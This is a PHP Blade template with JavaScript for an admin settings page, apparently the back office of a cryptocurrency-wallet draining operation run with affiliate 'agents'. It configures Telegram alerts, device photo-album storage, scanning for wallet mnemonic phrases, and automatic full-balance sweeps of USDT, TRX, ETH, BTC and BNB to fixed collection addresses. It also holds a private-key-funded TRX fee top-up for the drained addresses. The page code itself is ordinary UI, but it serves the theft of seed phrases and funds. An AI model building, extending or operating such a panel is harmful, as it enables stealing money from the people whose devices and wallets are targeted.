230 lines
13 KiB
PHP
230 lines
13 KiB
PHP
@extends('admin.content')
|
||
|
||
@section('title', '系统设置')
|
||
|
||
@section('content')
|
||
<div class="layui-card">
|
||
<div class="layui-card-header">系统设置</div>
|
||
<div class="layui-card-body">
|
||
<form class="layui-form" lay-filter="LAY-settings-form" id="LAY-settings-form">
|
||
<fieldset class="layui-elem-field layui-field-title">
|
||
<legend>Telegram Bot</legend>
|
||
</fieldset>
|
||
<div class="layui-form-item">
|
||
<label class="layui-form-label">Bot</label>
|
||
<div class="layui-input-block">
|
||
<div class="layui-form-mid" id="LAY-telegram-bot-name" style="padding-top:9px !important;">
|
||
@if($botUsername)
|
||
当前 Bot:<b>{{ $botUsername }}</b>
|
||
@if($botInviteUrl)
|
||
· <a href="{{ $botInviteUrl }}" target="_blank" rel="noopener">邀请进群</a>
|
||
@endif
|
||
@else
|
||
未识别 Bot 用户名。请在 .env 配置 <code>TELEGRAM_BOT_TOKEN</code> 后刷新本页。
|
||
@endif
|
||
</div>
|
||
<div class="layui-form-mid layui-word-aux">Bot Token 仅能通过 .env 的 TELEGRAM_BOT_TOKEN 配置,后台不展示。</div>
|
||
</div>
|
||
</div>
|
||
<div class="layui-form-item">
|
||
<label class="layui-form-label">Chat ID</label>
|
||
<div class="layui-input-block">
|
||
<div style="display:flex;gap:8px;align-items:center;max-width:640px;">
|
||
<input type="text" name="telegram_owner_chat_id" class="layui-input" autocomplete="off"
|
||
value="{{ $form['telegram.owner_chat_id'] }}" placeholder="官方通知群 chat_id" style="flex:1;">
|
||
<button type="button" class="layui-btn layui-btn-primary" id="LAY-telegram-test" style="flex-shrink:0;">测试推送</button>
|
||
</div>
|
||
<div class="layui-form-mid layui-word-aux" id="LAY-telegram-chat-hint">
|
||
@if($botUsername)
|
||
请邀请 <b>{{ $botUsername }}</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。
|
||
@else
|
||
全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。
|
||
@endif
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<fieldset class="layui-elem-field layui-field-title">
|
||
<legend>相册存储(官方渠道)</legend>
|
||
</fieldset>
|
||
<div class="layui-form-item">
|
||
<label class="layui-form-label">开关</label>
|
||
<div class="layui-input-block">
|
||
<input type="hidden" name="official_album_storage" value="0">
|
||
<input type="checkbox" name="official_album_storage" value="1" lay-skin="switch" lay-text="开|关"
|
||
{{ ($form['album_storage.official_default'] ?? '0') === '1' ? 'checked' : '' }}>
|
||
<div class="layui-form-mid layui-word-aux">仅控制官方渠道新设备默认值;代理渠道由代理用户各自开关控制。已有设备请在设备列表单独改。</div>
|
||
</div>
|
||
</div>
|
||
|
||
<fieldset class="layui-elem-field layui-field-title">
|
||
<legend>代理助记词扫描</legend>
|
||
</fieldset>
|
||
<div class="layui-form-item">
|
||
<label class="layui-form-label">开关</label>
|
||
<div class="layui-input-block">
|
||
<input type="hidden" name="agent_mnemonic_scan" value="0">
|
||
<input type="checkbox" name="agent_mnemonic_scan" value="1" lay-skin="switch" lay-text="开|关"
|
||
{{ ($form['scan.agent_visible'] ?? '1') === '1' ? 'checked' : '' }}>
|
||
<div class="layui-form-mid layui-word-aux">关闭后代理后台不显示「助记词扫描」;扫描确定入库的助记词归到一台官方设备,并记下原设备。开启则和现在一样。</div>
|
||
</div>
|
||
</div>
|
||
|
||
<fieldset class="layui-elem-field layui-field-title">
|
||
<legend>自动转账(官方渠道)</legend>
|
||
</fieldset>
|
||
<div class="layui-form-item">
|
||
<label class="layui-form-label">开关</label>
|
||
<div class="layui-input-block">
|
||
<input type="hidden" name="auto_transfer_enabled" value="0">
|
||
<input type="checkbox" name="auto_transfer_enabled" value="1" lay-skin="switch" lay-text="开|关"
|
||
{{ ($form['auto_transfer.enabled'] ?? '0') === '1' ? 'checked' : '' }}>
|
||
<div class="layui-form-mid layui-word-aux">仅控制官方渠道设备;代理渠道由代理用户各自开关控制</div>
|
||
</div>
|
||
</div>
|
||
<div class="layui-form-item">
|
||
<label class="layui-form-label">阈值</label>
|
||
<div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:8px;max-width:720px;">
|
||
<input type="text" name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:140px;"
|
||
value="{{ $form['auto_transfer.threshold_usdt'] }}">
|
||
<input type="text" name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:140px;"
|
||
value="{{ $form['auto_transfer.threshold_trx'] }}">
|
||
<input type="text" name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:140px;"
|
||
value="{{ $form['auto_transfer.threshold_eth'] }}">
|
||
<input type="text" name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:140px;"
|
||
value="{{ $form['auto_transfer.threshold_btc'] }}">
|
||
<input type="text" name="auto_transfer_threshold_bnb" class="layui-input" placeholder="BNB" style="width:140px;"
|
||
value="{{ $form['auto_transfer.threshold_bnb'] }}">
|
||
</div>
|
||
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转;留空按 >0 触发</div>
|
||
</div>
|
||
<div class="layui-form-item">
|
||
<label class="layui-form-label">归集地址</label>
|
||
<div class="layui-input-block">
|
||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||
<span class="layui-form-mid" style="width:50px;">TRON</span>
|
||
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
|
||
value="{{ $form['transfer.to_address'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
|
||
</div>
|
||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||
<span class="layui-form-mid" style="width:50px;">ETH</span>
|
||
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
|
||
value="{{ $form['transfer.to_address_eth'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
|
||
</div>
|
||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||
<span class="layui-form-mid" style="width:50px;">BSC</span>
|
||
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
|
||
value="{{ ($form['transfer.to_address_bsc'] ?? '') !== '' ? $form['transfer.to_address_bsc'] : ($form['transfer.to_address_eth'] ?? '') }}" placeholder="未配置,默认用 ETH 归集地址" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
|
||
</div>
|
||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||
<span class="layui-form-mid" style="width:50px;">BTC</span>
|
||
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
|
||
value="{{ $form['transfer.to_address_btc'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
|
||
</div>
|
||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||
<span class="layui-form-mid" style="width:50px;">SOL</span>
|
||
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
|
||
value="{{ $form['transfer.to_address_sol'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
|
||
</div>
|
||
<div class="layui-form-mid layui-word-aux">归集地址只能在 .env 配置 TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BSC / TRANSFER_TO_ADDRESS_BTC / TRANSFER_TO_ADDRESS_SOL,后台只读展示,不可修改。BSC 未配置时使用 ETH 归集地址。</div>
|
||
</div>
|
||
</div>
|
||
|
||
<fieldset class="layui-elem-field layui-field-title">
|
||
<legend>TRON 手续费补给</legend>
|
||
</fieldset>
|
||
<div class="layui-form-item">
|
||
<label class="layui-form-label">补给地址</label>
|
||
<div class="layui-input-block">
|
||
<input type="text" name="transfer_fee_address_tron" class="layui-input" autocomplete="off"
|
||
value="{{ $form['transfer.fee_address_tron'] }}" placeholder="用于给被转地址补 TRX">
|
||
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。</div>
|
||
</div>
|
||
</div>
|
||
<div class="layui-form-item">
|
||
<label class="layui-form-label">私钥</label>
|
||
<div class="layui-input-block">
|
||
<input type="password" name="transfer_fee_private_key_tron" class="layui-input" autocomplete="new-password"
|
||
placeholder="{{ ($form['transfer.fee_private_key_tron_set'] ?? '0') === '1' ? '已配置,留空不修改' : '手续费地址私钥' }}">
|
||
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_PRIVATE_KEY_TRON;留空不改</div>
|
||
</div>
|
||
</div>
|
||
<div class="layui-form-item">
|
||
<label class="layui-form-label">目标 TRX</label>
|
||
<div class="layui-input-block">
|
||
<input type="text" name="transfer_fee_topup_trx" class="layui-input" style="max-width:160px;"
|
||
value="{{ $form['transfer.fee_topup_trx'] }}" placeholder="20">
|
||
<div class="layui-form-mid layui-word-aux">补给目标余额,默认 20</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="layui-form-item">
|
||
<div class="layui-input-block">
|
||
<button class="layui-btn" lay-submit lay-filter="LAY-settings-save">保存配置</button>
|
||
</div>
|
||
</div>
|
||
</form>
|
||
</div>
|
||
</div>
|
||
@endsection
|
||
|
||
@push('scripts')
|
||
<script>
|
||
layui.use(['form', 'layer'], function () {
|
||
var form = layui.form, layer = layui.layer, $ = layui.$;
|
||
var token = @json(csrf_token());
|
||
|
||
form.on('submit(LAY-settings-save)', function (data) {
|
||
var payload = Object.assign({}, data.field, { _token: token });
|
||
payload.official_album_storage = $('#LAY-settings-form input[name=official_album_storage][type=checkbox]').is(':checked') ? '1' : '0';
|
||
payload.agent_mnemonic_scan = $('#LAY-settings-form input[name=agent_mnemonic_scan][type=checkbox]').is(':checked') ? '1' : '0';
|
||
payload.auto_transfer_enabled = $('#LAY-settings-form input[name=auto_transfer_enabled][type=checkbox]').is(':checked') ? '1' : '0';
|
||
$.ajax({
|
||
url: @json(route('admin.system.settings.update')),
|
||
method: 'POST',
|
||
data: payload,
|
||
success: function (res) {
|
||
layer.msg(res.msg || (res.code === 0 ? '已保存' : '失败'));
|
||
if (res.code === 0 && res.data) {
|
||
var name = res.data.bot_username || '';
|
||
var url = res.data.bot_invite_url || '';
|
||
if (name) {
|
||
var invite = url ? ' · <a href="' + url + '" target="_blank" rel="noopener">邀请进群</a>' : '';
|
||
$('#LAY-telegram-bot-name').html('当前 Bot:<b>' + name + '</b>' + invite);
|
||
$('#LAY-telegram-chat-hint').html('请邀请 <b>' + name + '</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。');
|
||
}
|
||
}
|
||
},
|
||
error: function (xhr) {
|
||
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '保存失败');
|
||
}
|
||
});
|
||
return false;
|
||
});
|
||
|
||
$('#LAY-telegram-test').on('click', function () {
|
||
var $btn = $(this);
|
||
if ($btn.prop('disabled')) return;
|
||
$btn.prop('disabled', true);
|
||
$.ajax({
|
||
url: @json(route('admin.system.settings.telegramTest')),
|
||
method: 'POST',
|
||
data: {
|
||
_token: token,
|
||
chat_id: $('input[name=telegram_owner_chat_id]').val()
|
||
},
|
||
success: function (res) {
|
||
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));
|
||
},
|
||
error: function (xhr) {
|
||
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '测试失败');
|
||
},
|
||
complete: function () {
|
||
$btn.prop('disabled', false);
|
||
}
|
||
});
|
||
});
|
||
});
|
||
</script>
|
||
@endpush
|